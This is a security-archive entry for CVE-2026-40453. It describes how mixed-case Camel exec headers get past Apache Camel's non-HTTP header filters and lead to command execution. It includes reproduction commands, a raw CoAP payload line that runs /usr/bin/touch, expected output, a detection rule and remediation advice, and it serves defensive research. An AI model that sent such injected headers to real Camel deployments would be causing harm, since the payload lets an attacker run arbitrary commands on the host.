Apache Camel Case-Variant Header Injection to Code Execution (CVE-2026-40453)
Published: 2026-11-27 • Researcher: Andrea Cosentino (oscerd, PoC author); vulnerability reported by Saroj Khadka, fix tracked as CAMEL-23313
- Severity
- Critical
- CVE
- CVE-2026-40453
- Category
- web
- Affected product
- Apache Camel — the non-HTTP HeaderFilterStrategy implementations (camel-coap, camel-jms, camel-sjms, camel-google-pubsub) and any route that forwards their exchanges to header-driven producers such as camel-exec or camel-file
- Affected versions
- From 3.0.0 before 4.14.6; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.6, 4.18.2 and 4.20.0. The reproducer pins Camel 4.18.1
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://camel.apache.org/security/CVE-2026-40453.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-40453
- https://access.redhat.com/security/cve/CVE-2026-40453
- https://access.redhat.com/errata/RHSA-2026:17668
- https://access.redhat.com/errata/RHSA-2026:19835
- https://bugzilla.redhat.com/show_bug.cgi?id=2463173
- https://github.com/oscerd/CVE-2026-40453
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-08 (upstream commit d2951a0843174ca1c8ab4ebabc72e914168685ef, “CVE-2026-40453: case-variant Camel header injection (camel-coap) reproducer”) |
| Author / Researcher | Andrea Cosentino (oscerd, PoC author); vulnerability reported by Saroj Khadka, fix tracked as CAMEL-23313 |
| CVE / Advisory | CVE-2026-40453 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.9 (CVSS 3.1 — per CVE record / NVD); EPSS 0.01963 |
| Status | Weaponized |
| Tags | Apache Camel, camel-coap, camel-exec, header-injection, case-insensitive, CWE-178, incomplete-fix, RCE, Spring Boot, Java, unauthenticated |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Apache Camel — the non-HTTP HeaderFilterStrategy implementations (camel-coap, camel-jms, camel-sjms, camel-google-pubsub) and any route that forwards their exchanges to header-driven producers such as camel-exec or camel-file |
| Versions Affected | From 3.0.0 before 4.14.6; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.6, 4.18.2 and 4.20.0. The reproducer pins Camel 4.18.1 |
| Language / Platform | Java 17+ (reproducer runs on Spring Boot 3.2 with Camel 4.18.1, packaged as a jar on eclipse-temurin:21-jre); attacker client uses Californium CoAP |
| Authentication Required | No — any party able to deliver a message to the CoAP endpoint (or, in the JMS variants, any producer with broker access) |
| Network Access Required | Yes — UDP/CoAP on port 5683 to the vulnerable route; the bundled reproduction helper is also exposed over HTTP on 8080 |
Summary
The fix for CVE-2025-27636 added setLowerCase(true) to HttpHeaderFilterStrategy so that case-variant internal header names such as CAmelExecCommandExecutable would be filtered along with the canonical CamelExecCommandExecutable. That call was never applied to five non-HTTP strategies, including CoAPHeaderFilterStrategy, which still matches Camel and camel prefixes case-sensitively. Camel stores exchange headers in a case-insensitive map, so a header whose casing slips past the filter is still resolved under its canonical name by downstream components. The archived reproducer sends a CoAP request with a mixed-case exec header, bypassing the filter and overriding the route’s configured command, which yields command execution with the Camel process’s privileges.
Vulnerability Details
Root Cause
The 2025 hardening of HttpHeaderFilterStrategy relied on lowercasing incoming header names before a startsWith(“camel”) test. The equivalent setLowerCase(true) call was not added to JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy or GooglePubsubHeaderFilterStrategy. Those strategies apply a case-sensitive check: startsWith(“Camel”) is true for CamelExecCommandExecutable (stripped) but false for CAmelExecCommandExecutable (capital A), so the variant is copied into the exchange untouched. Because the Camel Exchange header map is case-insensitive, the injected header and the canonical name are the same map key, and camel-exec resolves CamelExecCommandExecutable when it builds its command — the filter and the consumer disagree about which spelling matters. The same asymmetry lets an attacker override CamelFileName or CamelExecCommandArgs, so arbitrary file write is reachable on routes using camel-file.
Attack Vector
A crafted CoAP request to a route such as coap://host:5683/run whose query string carries CAmelExecCommandExecutable and CAmelExecCommandArgs. The CoAP consumer maps query parameters into exchange headers; the case-sensitive filter does not recognize the mixed-case names, the exec producer does, and the route’s configured command is replaced. The JMS and Google Pub/Sub variants require only message-producer access to the broker or topic that an affected route consumes. No authentication is involved at either layer.
Impact
Remote code execution in the context of the Camel application, demonstrated by creating an arbitrary file through /usr/bin/touch; replacing the executable and its arguments gives full command execution. Routes that forward untrusted messages into camel-file can instead be driven to write attacker-controlled content to attacker-chosen paths, which commonly escalates to code execution (for example by overwriting a startup script or authorized_keys). Because Camel routes frequently bridge messaging systems into file, shell or mail producers, the flaw turns message-producer access — often treated as lower privilege — into host-level compromise.
Environment / Lab Setup
OS: Linux x86_64 with Docker and docker compose
Target: Spring Boot 3.2 application embedding Apache Camel 4.18.1 (affected),
route coap://0.0.0.0:5683/run -> exec:echo?args=hello
Attacker: The bundled ExploitController (a CoAP client served over HTTP on :8080),
or any CoAP client such as coap-client from libcoap
Tools: JDK 17+, Maven 3.8+, Docker, curlThe compose file builds an image from the pre-built jar, so Maven must package the application before the container is started. The application exposes three helper endpoints under /exploit: /normal (no injected headers), /canonical (canonical Camel headers, expected to be filtered) and /attack (mixed-case headers, expected to bypass).
Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Build and start the vulnerable route
Shell script1 2mvn clean package -DskipTests docker compose up -d --buildBaseline — the route runs the configured command
Shell script1curl http://localhost:8080/exploit/normal # -> CoAP response ... helloNegative control — canonical Camel headers are filtered
Shell script1 2 3curl http://localhost:8080/exploit/canonical # injects CamelExecCommandExecutable=/usr/bin/touch, CamelExecCommandArgs=/tmp/pwned-canonical # -> ... created: falseAttack — mixed-case headers bypass the case-sensitive filter
Shell script1 2 3curl http://localhost:8080/exploit/attack # injects CAmelExecCommandExecutable=/usr/bin/touch, CAmelExecCommandArgs=/tmp/pwned # -> ... created: trueConfirm the command really ran in the target container
Shell script1docker exec cve-2026-40453 ls -la /tmp/pwnedCleanup
Shell script1docker compose down
A raw CoAP equivalent, without the helper controller, sends the same two query parameters: coap-client -m get "coap://127.0.0.1:5683/run?CAmelExecCommandExecutable=/usr/bin/touch&CAmelExecCommandArgs=/tmp/pwned".
Exploit Code
See
src/main/java/com/example/ExploitController.java(attacker client) andsrc/main/java/com/example/CoapExecRoute.java(victim route) in this folder.
| |
Expected Output
$ curl http://localhost:8080/exploit/canonical
Injected CANONICAL headers: CamelExecCommandExecutable / CamelExecCommandArgs
CoAP response: hello
>>> /tmp/pwned-canonical created: false (expected FALSE — the filter strips canonical Camel* headers)
$ curl http://localhost:8080/exploit/attack
Injected CASE-VARIANT headers: CAmelExecCommandExecutable / CAmelExecCommandArgs
CoAP response: hello
>>> /tmp/pwned created: true (expected TRUE — case-variant bypasses the case-sensitive filter -> exec RCE)
$ docker exec cve-2026-40453 ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 27 15:10 /tmp/pwnedThe trailing “CoAP response: hello” in the attack case is expected: the touch command produces no stdout, so the response body still reflects the echo producer’s default output while the injected command runs.
Detection & Indicators of Compromise
?CAmelExecCommandExecutable=... ?cAmelExecCommandArgs=... ?CAMELFileName=...SIEM / IDS rule (example):
alert udp any any -> any 5683 (msg:"Camel case-variant header injection attempt (CVE-2026-40453)"; \
content:"CAmel"; nocase; content:"ExecCommand"; nocase; sid:9004201;)Because the attack is a single small UDP datagram (or a single broker message), packet capture on 5683 and broker-side header dumps are the reliable evidence sources; correlate with the Camel process spawning a child it has never spawned before.
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to Apache Camel 4.14.6, 4.18.2 or 4.20.0 (CAMEL-23313 adds setLowerCase(true) to the five non-HTTP HeaderFilterStrategy implementations) |
| Workaround | Strip internal headers case-insensitively before any header-driven producer — a custom HeaderFilterStrategy with setLowerCase(true), a removeHeaders pattern, or a filter that rejects header names matching the reserved prefix in any casing |
| Config Hardening | Do not route untrusted JMS, CoAP or Pub/Sub messages directly into camel-exec, camel-file or other header-driven producers; when such routes are unavoidable, pin the executable and arguments in the endpoint URI and remove inbound Camel* headers first |
| Detection Follow-up | Review Camel and container logs for unexpected exec invocations and for files created by the application user after a suspicious CoAP or broker message |
References
Notes
Verdict: genuine, non-malicious reproducer. The repository is a self-contained Spring Boot application with a victim Camel route (coap to exec) and a bundled CoAP attacker client that contrasts canonical and mixed-case header injection, reporting whether the proof file was created. It contains no persistence, evasion, C2 or credential-theft code; the only side effect is the creation of a marker file by touch, and the upstream README documents the expected results. Archived as-is apart from an added disclaimer header in ExploitController.java.
Files copied: pom.xml, Dockerfile, docker-compose.yml, src/main/resources/application.properties, src/main/java/com/example/Application.java, CoapExecRoute.java, ExploitController.java, and the upstream README as upstream-README.md. Not copied: .gitignore, the .git directory, Maven target output and the built jar (compile with mvn clean package -DskipTests).
CWE discrepancy: the CVE record classifies the issue as CWE-178 (improper handling of case sensitivity); the upstream README calls it CWE-20 (improper input validation). Both describe the same filter/consumer casing mismatch; tags use the record’s CWE-178.
License: the repository declares no license. The code is an Apache Camel example by a Camel committer; copyright remains with the author, and it is archived here for research and defensive reference only.
Limitations: the reproducer demonstrates the coap strategy only, though the advisory lists JMS, SJMS and Google Pub/Sub as equally affected — those variants need a broker and are not exercised here; the lab requires a Maven build plus Docker and binds UDP/5683, which can conflict with a local CoAP service; the helper controller is itself an unauthenticated remote trigger, so the lab must stay on loopback or an isolated network; and the PoC depends on Camel 4.18.1, which is affected, so no result is meaningful against 4.18.2 or later.